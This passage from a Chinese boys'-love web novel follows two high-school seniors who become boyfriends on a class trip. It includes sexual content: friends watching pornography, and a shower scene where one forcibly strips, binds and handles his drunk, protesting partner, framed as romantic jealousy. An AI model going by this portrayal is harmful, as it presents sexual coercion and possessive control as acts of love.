“不错,叫.床挺好听。”江逸绯红的舌头舔了下牙尖。 谢逾白闭了闭眼,狭长的眼尾掠他,微微喘息着:“你像个流氓似的干什么?你就这点能耐,真刀实枪的时候,第一个打退堂鼓的就是你。” 在江逸的骚扰下,谢逾白好不容易穿好衣服,白色高领毛衣贴合着他修长的脖颈,外搭黑色长款羊绒大衣,垂坠感十足,身姿挺拔矫健,气质内敛优雅。 江逸看得心脏鼓动,糟糕,谢逾白是那种很耐看的,越看越觉得合自己心意。 谢逾白唇色淡淡,嘴角带着若有若无的清冷笑意,拒人于千里之外,无端地勾人遐思。 坦白说,江逸最受不了他这副模样,盯着他的眼神熠熠发光。 谢逾白长指点了点他的鼻尖,“走了,带你去吃烧烤。” 他的手指被江逸叼住,江逸魅惑性十足的眼神看着他,咬着他的手指,声音含糊:“我想吃你。” 谢逾白捂住眼睛,“你今晚能不能出门了?”他靠近,清俊的脸靠过来,薄唇送上来,“亲我,亲完我们出去,行不行?” 江逸咬住他薄薄的两片唇,他的唇看着薄,有肉感,有韧性,用软舌□□,“没意思,不爱亲。” 谢逾白正沉醉着,睁开雾蒙蒙的黑眸,“怎么了?” “欲求不满,什么时候能上.床?” 谢逾白一噎:“高考以后。” “还有五个月,好久,我现在换个人,来得及吗?” 谢逾白捏住他的后颈,冷脸,“你再敢动歪脑筋?” 外面雪花飘舞,路上偶尔有几位同学,时不时跟他们打招呼,江逸顺着路走,路灯投射出两人并肩而行的影子,谢逾白拿出手机,忍不住拍下这和谐的一幕。 江逸扯过他的手腕,“拍影子有什么意思?拍脸。”他站定,脸靠过来,谢逾白有些怔愣,随即转换摄像头,手指按了好几次,没拍上。 “谢逾白,你手指抖什么?起开,我来按。”江逸按动屏幕,画面定格了雪景,松柏,路灯,有两人的面容。 江逸拿着手机,举起两人交握的手,拍了一张。 “江逸,我们现在算什么?” 江逸眼眸清亮地看他,笑意在眼角蔓延,“你想算什么啊?” “我要你说。” 江逸唇角浮起笑意,“算谈恋爱,怎么样?” 谢逾白眼眸含情地看着他:“所以我是你的……” “非要我说出口?”江逸歪了下脑袋,双眸似笑非笑,眼神直直盯入谢逾白的眼底,一字一顿:“男、朋、友。” 谢逾白把他往暗影处拉拽,声音暗哑低沉,呼吸起伏,眼神充满侵略性,卡住他的腰,直视他的眼睛:“再说一遍。” “男朋友?” “再说。” “男朋友。” 他封住江逸的嘴唇,探入他口中,能听到雪落的声音,同学路过的脚步声,有被发现的可能,谢逾白的性格很少做这种冒险的事,此时,他完全没了顾及。 胸腔里一直被隐藏的感情,压抑的情绪释放出来。他掠夺着怀里人的一切,呼吸,津液,舌头肆无忌惮地搅动江逸的口腔,一丝气息也不放过。 他想把这个人永远禁锢在身边,让他彻彻底底,只对自己笑,眼里只有自己。 江逸被亲到快要断气,脸颊绯红,他向后躲,被谢逾白察觉到了躲闪,按着后颈往前送,牙齿撕咬着他。 江逸脑子里的空气越来越稀薄,四肢发软,血液冲到头顶,第一次感受到亲吻这么眩晕,苏爽。 一切都被谢逾白掌控着,浮浮沉沉,被人拥有,意外的是,这种感觉很好。 当他以为他会窒息地沉沦,谢逾白放开他,江逸被亲懵了,人呈一种失神的状态。 他双眼睁大,眼神茫茫然不知所处。他的嘴唇张开,被亲吻后的唇嫣红湿润,嘴角挂着一丝晶亮的银丝,在远处路灯的映照下闪烁着微光。 他大口大口地喘着气,试图填补被掠夺一空的空气,“谢逾白,刚刚在酒店怎么不搞我?现在这么弄我,你玩我呢?” 谢逾白把人紧紧揽入怀中,“我喜欢你,江逸。很喜欢很喜欢,超过你的想象。” “喜欢到可以现在跟我上.床吗?” “江逸,我在跟你告白。” 江逸粉红的舌尖舔了下唇:“我也在跟你告白。” 第37章 你留下来跟我一起看。…… 江逸回到酒店房间十一点多, 傅现和林飞羽在房间里打游戏。 江逸发梢上沾满雪粒,他脸颊冻得泛红,唇角因刚刚的亲吻红肿起来, 有一块破了皮。 林飞羽只看了一眼,惊讶道:“逸哥,真脱单了?” “为什么这么说?” “你嘴唇被啃破了,你自己不知道?”林飞羽摸了下自己右唇角,“这里,你去照照镜子吧。靠!校花还挺野。” “你瞎说什么, 没有的事。” 傅现眼神轻飘飘地扫过来, 在他唇角伤口处停顿片刻。 丝丝刺痛从唇角传来,江逸轻轻抿唇, “哪里有镜子?” “洗手间。” 江逸走进去处理下头发上的雪, 看了看唇角, 伤口挺明显的, 谢逾白整天标榜自己冰清玉洁,下嘴这么重。 江逸脱掉湿外套, 穿着黑色针织衫, 牛仔裤, 身材修长清瘦,尽显随性。 “逸哥,你真是个男妖精,难怪你对象下嘴这么狠。” “差不多得了,有完没完?”江逸一边擦头发,一边看他们在玩什么。 傅现看他一眼,红唇微肿破口,“你嘴唇那样?不用消个毒?伤口在那里不容易愈合。” 江逸用手碰了碰:“过两天就好了。” 林飞羽:“你这两天怎么办?吃饭会疼, 跟你对象说,下次注意点。” 江逸语气不悦:“说了没有。” 林飞羽嘿嘿一笑:“不用不好意思了,大家全是成年人,谁没谈过恋爱?我理解你女朋友,这么个大帅哥,当然要好好享用。” 江逸扔了个枕头过去:“你少意.淫几句。” “我意.淫?逸哥,你嘴上这个伤口,除了接吻被咬的,不会有别的可能性。” 江逸无语,嘴角轻扬,“你个孙子,就你懂。” 林飞羽一脸八卦:“是不是校花?” 江逸看了一眼傅现,看他的脸色不太好看,“不是。” 林飞羽玩完这把后离开,只剩下江逸跟傅现。 江逸琢磨了下,开口解释:“我跟校花没什么。” 傅现靠在墙上,眼神晦暗:“我知道,你拒绝她了,你跟谢逾白在一起了吧。” “算吧。” “你们两个男生,你想好了?未来的路……” 江逸语气轻松:“你将来全想好了?活在当下吧,有什么可想的?” “你一直喜欢男生还是怎么?” 江逸枕在床上,双手搁在脑后:“不是,我一直是直男。” “你被他掰弯的?” “也不算,水到渠成,你今天怎么关心这些?” 傅现笑笑:“我的情史跟你说了,你的也跟我说才公平,你俩谁是1谁是0?” 窗外的雪花时不时打在窗户上,夜景很美,江逸神情放松:“我这么A,当然我是1。” 傅现嗤笑,“怎么可能?你嘴唇被咬那样?说明了什么?谢逾白的个性那么强,你能做1?你早点清醒吧。” 江逸侧过身体,眼睛微眯,“他个性怎么了?” “他很偏执,狠辣,高一跟别人打架,把人腿踹折了。这事你考虑好,能不能忍受?” “你一个直男,对这些这么了解?” 傅现挑眉:“最近了解一些。”他闲适地扯着唇角:“谢逾白家里不一般,这些你考虑过了吗?” 江逸从床上坐起来,实话实说:“没考虑过。” 傅现走过来,身体靠在他床头边上的墙上站着,两条腿交叠:“你这么天真?万一你们没走到最后,你受伤了怎么办?” “你追校花的时候,连将来孩子的名字也想好了?以后的事,以后再说。” 傅现眼神专注地看着他的脸,江逸双眼皮精致,唇色红润饱满,有种超越性别的美。 “你跟谢逾白不同,你跟他聊过未来吗?他可以轻松上顶尖的大学,他对一切不感兴趣又拥有一切,你呢?你不要恋爱上头,影响了考大学。” 江逸在感情里算随心所欲,想就在一起,不想就分开,“我不会影响备考。” “这还差不多,只剩下几个月了,体育专业三月份会开始面试,文化课要过一本线才有希望。如果你想,我会陪着你走这段。”他语气少有的郑重认真。 江逸望着他:“没看出来,你这么靠谱。”以前觉得他是个逗比。 傅现看着江逸琥珀色的瞳孔,眼神又滑向他的唇角,喉结动了动,“你观察力很差,看不出来的事情有很多。” “过来,做几道数学题。” “十二点了,你是不是人?这个点折磨我。” “折磨你?这个说法我喜欢,做十道题,不做完别睡觉。” 江逸眼皮沉死了,“五道吧,明早我早点起来,再做五道。”他带着恳求的眼神,谁也无法拒绝。 偏偏有一个狠心的,傅现嘴角扯出一个笑容:“不行,有时间出去约会,没时间早点回来做题。” “让我回来做题,你不早点说?” “早点说怎么样?” “早点说我早点回来做题。” 傅现笑笑:“真的?” “必须的。” 江逸没能做完十道题,只做了五道题,在傅现检查的时候,趴在桌子上睡着了。 他趴在桌上,蝴蝶骨微耸,脊背线条清晰。 江逸侧脸精致,双眸紧闭,红嫩嘴唇轻抿,唇角一处细微伤口,有种被凌.虐后的性感。 傅现头靠在书桌旁边的墙上,锋利的眼睛半阖,眼神落在江逸的脸上,视线偶尔刮过他受伤的嘴唇,不知看了多久,他伸腿,用脚踢了踢江逸的脚,“起来,去你床上睡觉。” “嗯?怎么了?” “去床上睡。” 江逸揉眼睛:“我还有几道题?” “困成这样了,你学不下去了,去床上睡。” 江逸揉了揉脖颈,“我睡多久了?” “谁知道。” “明天早点叫我。他们几点出发去滑雪?” “九点。” “你六点叫我,我起来学一会儿。” 傅现眯眼轻笑:“你能起来那么早?” “你叫我,我就能起床。”江逸躺在床上,被子胡乱盖在身上,很快意识模糊。 他的一只拖鞋还穿在脚上,被子盖住了嘴巴,傅现站在床前看了一会儿,手抬起又放下,没管他,回到自己床上,阖上眼睛。 * 第二天下午,众人滑雪回来,江逸刚洗完澡,林飞羽贼兮兮地推门进来,“傅现,你是不是带笔记本电脑来的?” “是,怎么了?”傅现正在给江逸整理例题,指了指正在充电的电脑,“之前做表格没电了,正在充电。” “正好,我在你这里看会儿视频,我室友女朋友来了,两人在房间里面腻歪。我看不下去了,同学给了我好东西,我们一起看。” 他把移动硬盘插.在电脑上,江逸听到奇奇怪怪的声音,房间里的书桌上摆着笔记本电脑,林飞羽一边吃薯片一边盯着屏幕。 江逸喝水的间隙,扫了两眼屏幕,白花花的身体被压在沙发上,画面正在做着某种不可描述的事,他猛呛了两口水。 “过来一起看,逸哥,欧美片,你看多清晰。” 看他满脸惊愕的样子,林飞羽打趣:“你该不会没看过片吧?” “怎么可能?”看过是看过,以前宋越给他传过,但他没和别人一起看过,这还能一起看? 傅现一会儿抬头扫两眼,一会儿低头整理例题,看样子十分淡定,江逸多喝了两口水,他也要淡定,不就是看片,有什么? 林飞羽这个大嘴巴,如果让他知道,看个片不淡定,指不定出去怎么说,估计当笑话讲了。 江逸坐在傅现旁边的椅子上,学着他的动作,一会儿低头做题,偶尔抬头看屏幕,好在林飞羽把声音静音了,否则太尴尬了。 好不容易把十几分钟的片子熬完了,江逸见他还有继续的意思,“儿子,你回自己屋里看去,爸爸要学习,别打扰我。” “我静音了,怎么打扰你了?嘿嘿,除非你心静不下来,傅现,你被打扰了吗?”? “没有。” 我日。江逸心里万马奔腾,想骂人。 林飞羽挪动鼠标,夸张地喊了一句:“靠,怎么还有男男的,恶心死了。” 他刚要关闭,傅现打断:“点开看看。” “你要看这个?”林飞羽面露惊恐。 “有点好奇,江逸,你好奇吗?” 江逸直摇头,即使好奇,他不能回家自己看吗?此时他有些心虚,他已经不是纯直男了。 无视他的反对,屏幕里面的画面继续,这是一个亚洲的片子,白净的男孩被痞子似的健壮男生压在桌子上。白净男生看起来十分惊恐,趴在桌子上,双手被绑着,哭得嘶声力竭。 江逸不知不觉从头开始看,桌子摇晃地厉害,男孩哭得凄惨,手臂摇晃着,嘴里呜咽着。 他觉得胳膊拄着的桌面开始烫人,脑子里不知不觉带入了自己跟谢逾白的脸,草,不知为什么他带入的竟然是自己在下面。 白净男孩被翻了过来,他模样可怜,像被人施以酷刑一样,眼角全是泪水,嘴角湿润。 林飞羽忍不住说了一句:“这个0看起来好疼的样子,这么可怜吗?” 傅现泰然自若地补了一句:“听说0没什么快感,全靠心理上的舒服,弄不好会流血。” 江逸手里的矿泉水瓶掉在地上,发出啪的一声,他面容冷下来,“林飞羽,关了,滚回你房间去。” 见他脸色严肃,林飞羽合上电脑,“正好我也看完了,俩男的没什么好看的,拜拜。” 傅现把水瓶捡起来放在桌子上,观察江逸的表情。 江逸坐在书桌前,灯光下他眉心紧锁。他明亮的双眼满是忧虑,眼神游离。紧咬的下唇泛白,唇角伤口未愈。 傅现撇嘴一笑:“别跟我说,你连gv也没看过。” “我第一次看。”江逸没心情隐瞒了。 “看你的样子,有点难以接受,服了你了,什么也不懂,学别人跟男生谈恋爱。” 江逸承认,他确实被震撼到了,上一次看片没什么印象了,他跟谢逾白亲热,他喜欢谢逾白,谢逾白颜值高,模样清俊,身上香香的,触感韧韧的,他真没想到最后一步,视频里看上去这么倒胃口。 而且,受真的挺可怜的,看上去要被搞死了。 他捂住眼睛,不想再想下去。 “别逃避了,你迈出这条路以后想好。” 江逸心里泛起一阵难受,“别提这个了,你给我计时,我们做题。” 傍晚,门外传来敲门声,江逸打开门,谢逾白站在门口。仍然是那张清俊的脸,江逸心境大不相同,不敢直视了。“你找我?” “一会儿我们去看电影,有个喜剧,你应该会喜欢。” 电影院?黑乎乎的,江逸直摇头:“不去了,我在复习。” “我们出去一起吃晚饭?” 江逸垂着头,若有所思,“我时间很紧,能不能去酒店吃,吃完就回来。” 谢逾白敏锐地察觉到了不对劲,昨天晚上,抱着自己上下其手不肯放开,嚷着要跟他上床的人,今天见了面,看都不看他一眼。 谢逾白的心沉到了谷底,“你跟我出来。” 江逸进去,披上了外套,拿起手机,跟他往下走,明显跟谢逾白保持着不远不近的距离。 谢逾白没带他去餐厅,反而回了自己的房间,把门反锁。 江逸表情紧张,故作轻松地问:“怎么了?” 谢逾白眼神锁住他的脸,不放过他任何面部表情:“江逸,你是不是后悔了?” “后悔什么?” 谢逾白脸色冰寒:“后悔跟我在一起,所以这个态度。” “不是,你别小题大做。” 谢逾白靠近他,江逸身后就是门框,他小心往后移动脚步,一会儿瞅瞅紧闭的房门,江逸一会儿又看向窗外,像在提防着什么。 谢逾白手掌抵在他斜后方,把他圈在里面,身上的气息笼罩着他,“请你给我个解释,你现在躲躲闪闪的,什么意思?” 江逸苦苦支撑着,谢逾白太敏锐了,这么快就发现了他的异常,连个缓冲的机会也没给他。 他的下巴被握住,强迫地跟谢逾白对视,深黑的眼瞳里酝酿着风暴,“你说不说?” 江逸额头沁出一层细密的汗,“我说还不行吗?今天林飞羽来我房间,咳咳,这个林飞羽太不正经。” 谢逾白语气沉冷:“说重点。” “他在我房间看片,……有一个gv,我也看了,看完有点膈应。” 谢逾白神情一顿,过了会儿问:“什么是gv?” 江逸扶额,天啊,他在干什么,“没什么,去吃饭,我饿了。” “说清楚,什么东西膈应到你了,跟你对我的态度有什么关系?” 江逸没想到有一天要解释这种东西,有种痞子带坏好学生的即视感,令他浑身不自在,“就是那种视频,男生跟男生做的。” 谢逾白听懂了,面色如覆寒霜,眼眸像是被乌云遮蔽,透着几分压抑的严肃,“你跟林飞羽,傅现一起看的?” “林飞羽看的,我扫了几眼而已,我撵他走,他不走。”江逸尴尬地扯了扯嘴角,头不自觉地往下低。 “视频很难看?你被膈应到了。” “有点,0……”江逸看着谢逾白清冷脱俗的脸,不好意思往下说。 “0怎么了?你若说不出口,你跟林飞羽把视频要来,我带了电脑来,我看下。” “你、你要看?”江逸露出一个比哭还难看的笑容,“你别看了吧,三好学生远离这些东西。” 谢逾白眼角余光扫向他,“行,我去要。” 江逸捉住他的胳膊,“你去不太合适吧,你怎么知道的?是我说出去的,更不好,我去吧。” 他脚步沉重地走出去,回来的时候,手里拿着硬盘,脸上的肌肉都跟着微微抽搐,“给你吧,我走了。” 谢逾白淡淡道,“站住。你留下来跟我一起看。” “你说什么?怪尴尬的,你自己看吧。” 谢逾白面无表情,冷冷瞥他一眼:“怎么?你可以跟他们一起看,不能跟我一起看?你厚此薄彼?” 可算他是个学霸,语文好,这成语用得。 沉默了片刻,江逸偷瞄了谢逾白一眼,见对方依旧盯着自己,只得咬了咬牙,硬着头皮,“那行吧,一起看就一起看。” 第38章 你轻点拽我 视频打开, 江逸比之前还要坐立难安,最后站在床边,跟个犯错的孩子似的。 谢逾白拍了拍身边的位置, “过来坐。” 他极不自然地走到谢逾白身边坐下,身体紧绷,听到视频里的声音,“你能不能静音?” 谢逾白把声音调小,“你去把我桌子上的本子和笔拿来。” “你做什么?” 谢逾白一脸正经,“我记一下要点。” “你看片还要记笔记?” “我接触不到这种东西, 没人教, 不学一下,你会吗?” 江逸茫然摇头, “不会, 但是也没必要这么认真吧。”看片学习这种事, 他第一次听说。 谢逾白没开玩笑, 神情一丝不苟,时常暂停记笔记, 江逸终于从一开始的紧绷放松下来, “你觉不觉得这个0很痛苦的样子?” “假的。” “嗯?” “你想能拍这种的肯定不是第一次, 身经百战这个表情,肯定是装的。” 江逸不明白:“装给谁看?” “装给跟他演对手戏的或者屏幕前的人看。” 江逸撇嘴:“看他这么痛苦,估计谁看都没兴致了。” “不一定。”谢逾白语气平淡,“有人喜欢。” 江逸的嘴巴豁然张开,瞳眸中满是不可置信的怔忡,“谢逾白,难道你喜欢这种?” 谢逾白瞥他一眼,眼神犹如春日柔波, 流转间,万千情愫暗藏其中。 江逸手指哆哆嗦嗦地指着他:“你好变态啊,谢逾白!” 谢逾白仰起头,眼神重新变得疏离,恢复了那副冷淡高傲的神情,“我说什么了吗?你别妄下判断。” “你来看这里。”谢逾白态度严谨地问,“你看他的脸,你觉得他现在痛苦吗?” 江逸看着男孩白净的脸,看着有点难受,脸红红的,眼角全是泪水。谢逾白继续播放,攻正在给他口。 “这个你懂,痛苦吗?” 江逸脸上涌起一片热意,张了张嘴,“我懂什么?我哪有什么经验。” 谢逾白对他侧了下头,似笑非笑地问:“你在暗示我什么?” “我没有!” 谢逾白视线重新落回屏幕,淡淡地问:“你要是处于这种情况,感受会和他一样?” 江逸嗫嚅了半天,憋出一句:“他、有点夸张了。” 谢逾白轻挑眉梢:“所以实践出真知,别轻易下结论,记住了吗?” 江逸一脸的生无可恋,心中满是无奈,天啊,他为什么要遭这个罪。 谢逾白目不转睛地继续看着视频,像是在研究什么学术问题一般,一边看还一边在旁边的本子上记录着。 江逸坐在一旁,如坐针毡,好不容易熬完了这个视频。 “我们去吃饭吧。” 江逸迫不及待地提议,只想赶紧摆脱这尴尬的氛围。 “你等我一下,我复制到电脑里。” “你复制这种东西做什么?” 谢逾白唇角似弯非弯,看了江逸一眼,“你说呢?” “别跟我说,你要学习?” 谢逾白语气不紧不慢的:“你不会,你不学,只能我学了。这里有好几个视频,明天晚上你再过来陪我看。” 江逸欲哭无泪,“我们去看电影行不行?我不想看这个了。”刚恋爱跟对象天天一起看片,谁受得了?他脸皮没那么厚,身体也受不了。 “我们可以先看电影,再看这个,这种片子时间很短的。多看几个,你免疫了,膈应病就好了。” 江逸拉住他的手,在他手背摸了一下,眼神忽闪忽闪的,“我已经好了,不用看了。” 谢逾白穿上大衣,气场全开。他身材比例堪称完美,眉眼间英气四溢。 江逸脑中自动把他带入攻的角色,他捂住头,脑子要炸了,不行,他不能把自己掰弯了,还要做0,他再次确认,“谢逾白,我是1对不对?” 谢逾白先是微微一怔,薄唇噙着一抹愉悦,“是的,可是,你为什么会产生怀疑?” “没什么。”江逸有点心虚,他一定要挺住。 * 元旦旅行的最后一天晚上,安排的项目是KTV唱歌。 谢逾白一向不喜欢吵闹的环境,江逸跟班里一群人来到KTV包房,他懒得唱歌,找了一个角落靠着,眯着眼睛,看大伙瞎闹。 林飞羽,陈最等人一边喝啤酒一边瞎聊。 林飞羽:“你们听说了吗?校花脱单了,好像是一直在她身边的备胎。” “这么快?”陈最往江逸的方向看了看,“前两天她还跟逸哥告白来着。” “现在什么年代了,校花又不缺追求者,暗恋不成下一个了,逸哥难受吗?” “难受你个头。”江逸笑骂。 “对哦,你有对象了,有什么可能难受的?” 陈最满脸惊讶:“他有对象了?” “你不知道吗?不知道是谁,可神秘了,只知道作风很狂野。逸哥的嘴唇被……” 江逸听不下去了,拎着林飞羽的耳朵,“乖儿子,你还不闭嘴?胆子大了?老子的玩笑也敢开。” 林飞羽嘻嘻哈哈的,拿过来一瓶啤酒,“我赔个罪,你随意。” 江逸捏着酒瓶时不时喝上两口,这帮家伙,唱歌一个比一个难听,还好意思唱。 “逸哥来一首!来一首!”林飞羽带头起哄,江逸摇头不理。 陈最直接把麦克风塞他手里了,“谁给逸哥点的《月半小夜曲》,粤语歌,能行吗?” 林飞羽哈哈笑:“这你就不了解了,我跟他一个初中上来的,这是逸哥的成名曲,当时把我班的女生全迷晕了。” 旁边的同学跟着打趣:“江逸,粤语歌你行不行?” “是男人,不能说不行!” 江逸一哂:“行啊。” 他随意地将外套脱下,从容地走到房间中央,清了清嗓子,专注地盯着屏幕上滚动的歌词。 江逸手持麦克风,声音独属于他的低醇质感,有着少年的清润,标准且富有韵味的粤语发音,像从老唱片机里流淌出的经典旋律。 同学们原本带着几分戏谑的眼神,被江逸的歌声吸引,不由自主地安静下来,沉醉其中。 女生们双眼放光,像是回到了林飞羽所说的初中时代,被江逸的歌声迷得神魂颠倒。 傅现推门进来,看到江逸站在房间中央唱歌,脚步不自觉地停在门边。 江逸深栗色碎发被灯光轻抚,双眸明亮不羁,嘴唇微微上扬,自信洒脱。 傅现静静地看着,江逸的歌声仿佛有魔力一般,让他的目光无法从江逸身上移开。 歌声渐入高潮,江逸轻轻闭上双眼,将《月半小夜曲》中的深情与无奈演绎得淋漓尽致。 所有人完全被他的歌声征服,在一曲终了时,爆发出如雷般的掌声。 傅现从人群中穿过,身姿矫健,步伐从容。 他在江逸身边坐下,顺手拿起一瓶啤酒,碰了碰江逸手中的酒瓶,“唱得不错啊。” 江逸嘴角带笑,“我除了学习不行,其它没得说。” “你学习也没问题。” 江逸回敬了一下,两人仰头喝了口啤酒,“恭喜你,听说校花脱单了。” 傅现挑了下眉,“她男朋友不是我。” “啊?不是你?你失恋了?” 傅现神情不明,薄唇轻勾,“算是吧。” “你怎么搞的?这么好的机会没抓住?你不是计划了很久?” 傅现看着他,答非所问,“可能我比较适合暗恋。” 江逸:“虽然你的颜值跟哥比差了点,不要妄自菲薄,你挺帅气的,学习优异,将来跟哪个女孩在一起,是她的福气。” “是吗。”傅现唇角的弧度很淡。 两人有一搭没一搭地聊着,酒瓶空了三四个,话语在他们之间轻松地流淌,气氛十分和谐。 慢慢地,江逸的眼神开始变得迷离,意识逐渐模糊。昨天他得太晚了。他的头一点一点的,最后靠在沙发上沉沉地睡着了。 这时,旁边一个男生在打闹中不小心碰了江逸的头一下,他毫无防备,头顺势歪向了傅现这一侧。 傅现微微一怔,下意识地挪动了一下身体,让江逸的头稳稳地靠在自己左边肩膀上。 江逸的呼吸均匀,温热的气息拂过傅现的脖颈。 傅现侧头,凝视着江逸睡着的侧脸。江逸脸部线条流畅,灯光下仿佛蒙着一层薄纱,嘴唇带着酒后的红,看起来格外柔软。 傅现目光如一泓深邃的湖水。 此时,谢逾白推开包房门,一眼望去,江逸脸颊微红,毫无防备地躺在傅现肩膀,显然已失去意识。 谢逾白接连给江逸打了两个电话,始终无人接听。焦虑之下,他联系陈最,得知江逸正在包房,赶了过来,没想到看到这一幕,让他气血攻心。 他的眼神冷厉下来,几步上前,一把掀开傅现,推醒江逸,拽着他就要往外面走。 傅现被这突如其来的举动吓了一跳,急忙喊道:“你要干什么,你轻点!” 谢逾白眼含薄怒,冷嘲热讽:“你干了什么自己心里有数。” 江逸迷迷瞪瞪地抬起头,看到谢逾白,嘟囔着:“谢逾白,你怎么来了?你轻点拽我。” 傅现眼神紧张关切,看向江逸:“你要跟他去吗?他情绪有点激动。” “没事。” 傅现长长的额发垂落,遮住了眼神,低声问道:“你晚上还回来吗?” “回去,不然我去哪睡觉。可能会晚,你先睡,给我留门。” 第39章 要不要补偿你一下?…… 谢逾白手跟个大钳子似的全程拽着江逸。 “你别拉我, 我自己能走。”江逸脸颊红润,说话带着酒气。 谢逾白冷着脸,眉心紧蹙, 他把江逸推进自己房间,打开浴室门,把他的外套扒掉扔在沙发上。 他拽着江逸来到花洒下面,一下子打开淋浴头,水流哗啦啦流下来,江逸身上穿着毛衣跟休闲裤, 水流给他淋了个透心凉, “我草,你疯了, 我衣服还没脱。” 谢逾白把他直接怼在墙上, 把他湿透了的衣服胡乱往下扒。 他一顿大胆粗暴的动作, 把江逸弄懵了, 再回过神,衣服被扒得只剩下贴身的, 一双白皙笔直的长腿暴露在空气中, 贴身的T恤从头顶掀开, 衣服一拧,把他双手反剪,绑在了身后。 “我日,你干什么?”江逸眼神慌了,双手的姿势拧着。 谢逾白欺身上前,把人钉在墙上,他的脸庞线条冷硬,眼眸沉静, 眸光冰冷与炙热交织缠绕,令人胆寒又莫名心悸。“你不明白吗?日你。” 他调整水龙头的方向,水流如注,对着江逸。 水流顺着江逸的头发肆意滑落,沿着高挺的鼻梁而下,不断流淌。 “谢逾白,你放开我,水进我眼睛里了。” 谢逾白大手狠狠卡住他的脖颈,身体紧贴了过来。 他衣服还未脱,略显粗糙微扎的毛衣贴着江逸光滑的皮肤,带来一阵难言的刺激,让江逸忍不住颤.抖。 谢逾白俯身,嘴唇重重压上江逸的唇,他的吻粗暴,像是要将江逸整个人吞噬。强势撬开江逸的牙关,肆意搅动,不放过任何一寸领地。 江逸背靠冰凉的瓷砖,水流不间断地冲击着他的感官,让他浑身打颤。 他被迫承受着谢逾白狂风暴雨般的亲吻与碰触,根本无力反抗。 江逸的双眼因无助而微微睁大,水汽氤氲在眼眸中显得迷茫。 嘴唇被吻得红肿,微微张合着,发出断断续续的喘息。 身体在谢逾白大力的揉捏下,泛起阵阵红痕,每一寸肌肤都被点燃,在水流刺激下,产生一种极致的反差与颤抖。 谢逾白仿佛失去了理智,手摸到了难以启齿的地方,江逸一激灵,“别在这。” 那一刻,江逸腿立刻软了,几乎站不住。 谢逾白把他的胳膊解放出来,搭在自己脖颈,“抓着我。” 他贴近江逸的耳朵,清俊的面容淡雅出尘,手里的动作丝毫没有停顿,“江逸,你不是要做1吗?有你这样站也站不住的1?” “你趁人之危,老子喝酒了。” 谢逾白眯了眯黑眸:“你想没想过,如果现在是别人,趁着你喝酒,对你做这种事,怎么办?” 江逸细细喘息,伸手抹了一把脸上的水,“别人?我早揍趴下了,谢逾白!别人摸我,我腿不软!” 谢逾白神情怔了下,把水调成温水,贴着江逸的脖颈,咬住一小块皮肉,牙齿慢慢撕扯,“你做不了1,你只能被我上。” 他扣住江逸的脖子,眼神寒冷地逼视他:“说,你是谁的?” 江逸脊背发麻,全身的神经全被撩拨了起来,眼神氤氲,嘴唇发抖,“你说什么?” 谢逾白手上用力,“说!你是谁的?”掌心用力扣住,江逸腿直发抖,这个节骨眼上,不上不下的,他脸憋得通红,“谢逾白,你不是人。” “回答我。” “是你的。” “说完整句子,我就给你。” 江逸大脑嗡嗡的,谢逾□□神分裂了?眼前面如冠玉,眼神凶神恶煞的人是谢逾白? 他实在受不了折磨,哆嗦着嘴唇:“江逸、是谢逾白的。” 他身体颤抖,余韵一波接着一波,他以为结束了的时候,谢逾白再次封住他的唇,眼神幽暗到了极致,“怎么?你以为结束了,刚刚开始而已。” 呼吸被掠夺,江逸全身潮红,烫到不行,“你别搞我了,我不行了。唉,你怎么还碰我?我没力气了。”他双眼惊恐,又一次被撩拨到全身发热。 谢逾白在他震惊的眼神里,靠了过来,两人面对面,这种直接的触感,江逸脸红到爆炸,心脏疯了一样狂跳。 他眼神不受控制地向下瞥去,瞳孔震惊,“你的,怎么这么……” 谢逾白抿着微红的嘴唇,眼神病态地看着他,眼底是毫不掩饰的浓烈情欲,“你闭嘴,不许说话。” 江逸声音沙哑,喘息停顿:“去、床上,行不行?” “不行。” 江逸看着浴室被水蒸气灌满,环境越来越热,水流不知道什么时候停了,他再一次全身紧绷,酥麻蔓延至每一根神经,真他妈疯了,谢逾白的动作还没停。 “你怎么还在弄?还没完?” 谢逾白面色薄红,仍是清冷绝尘的一张脸。 他把江逸翻了过去,压住他,不断啃.咬他的脖颈,肩胛骨,蝴蝶骨,留下一串串吻痕。 江逸头皮发麻,脸贴着冰冷的瓷砖,汗水不断往下流,眼泪顺着眼角不受控制地滑落,“谢逾白,你是畜生。” …… 谢逾白再次打开水龙头,给江逸清洗干净,白色的浴袍裹着他,谢逾白细致地给他刷牙,江逸手发抖,强撑着按着浴室柜台面,“牙非刷不可吗?” “你有酒味。” “刚才你舌头在我嘴里的时候,你怎么不嫌弃?” 谢逾白神情有些冷:“你少说话。” 把人清理干净,他快速洗了澡,江逸眼神眨也不眨地看着他,浴室雾气缭绕,谢逾白那腿,那腰,那肩膀,臀部,无一不透着极品性感。 谢逾白刷了牙,把人抱出浴室,外面的空气氧气充裕,江逸鼻子发红,身体发冷。 谢逾白用层层被子裹住他,“你还冷?” “你是不是人?刚才是畜生?” 谢逾白心中郁结舒缓了一些:“你躺在他肩膀上了。” “那又怎么样?” “他喜欢你,一直看着你出神。” “对,全世界都喜欢我,谢逾白,你有妄想症吗?我不可能每天只面对你一个人!” 谢逾白捏紧他的下巴,宣泄自己的情绪,“我暗恋你三年,我知道什么样的眼神是喜欢你。你在质疑我的判断?” 江逸清楚地看到他的痛苦与挣扎,语气缓和,“即使他喜欢我又怎么样?他知道我跟你在一起了。” 谢逾白的眉峰松了松:“他知道?” “是的。” “不妨碍他觊觎你,你喝得烂醉,一点也没有防备,万一他做什么事,你怎么办。” 江逸气得直抓头发:“他再喜欢我还能强了我吗?像你这样强迫我?他前途一片大好,能为了这事去坐牢?这档子事图个你情我愿,我喜欢你,他能把我怎么着?” 谢逾白脸色渐渐恢复了,“你不能这么无所顾忌,跟他每天厮混在一起。” “没有厮混,大部分时间在学习,他如果不喜欢我,所有这些皆是你的猜想,即使他喜欢我,没表白我也无法说什么。他跟我挑明,我会干脆利落地拒绝他。你有什么可担忧的?这么多年,我处理这种事经验比你多。” 谢逾白冷嗤,“你挺自豪?” “说实话,有点烦,有什么办法?这是我的生活一部分,我知道自己在做什么。我不能每天去纠结,这人喜不喜欢我,那人喜不喜欢,我没这个闲情逸致。” “我不想你继续跟他见面。” “这点做不到,但你可以跟着我一起见他。” 谢逾白不屑地说:“我没那么无聊。” “说实话,我觉得你挺无聊的,你是我男朋友,不管喜欢我的有多少人,我选中的是你,你有必要每天疑神疑鬼的发神经?” 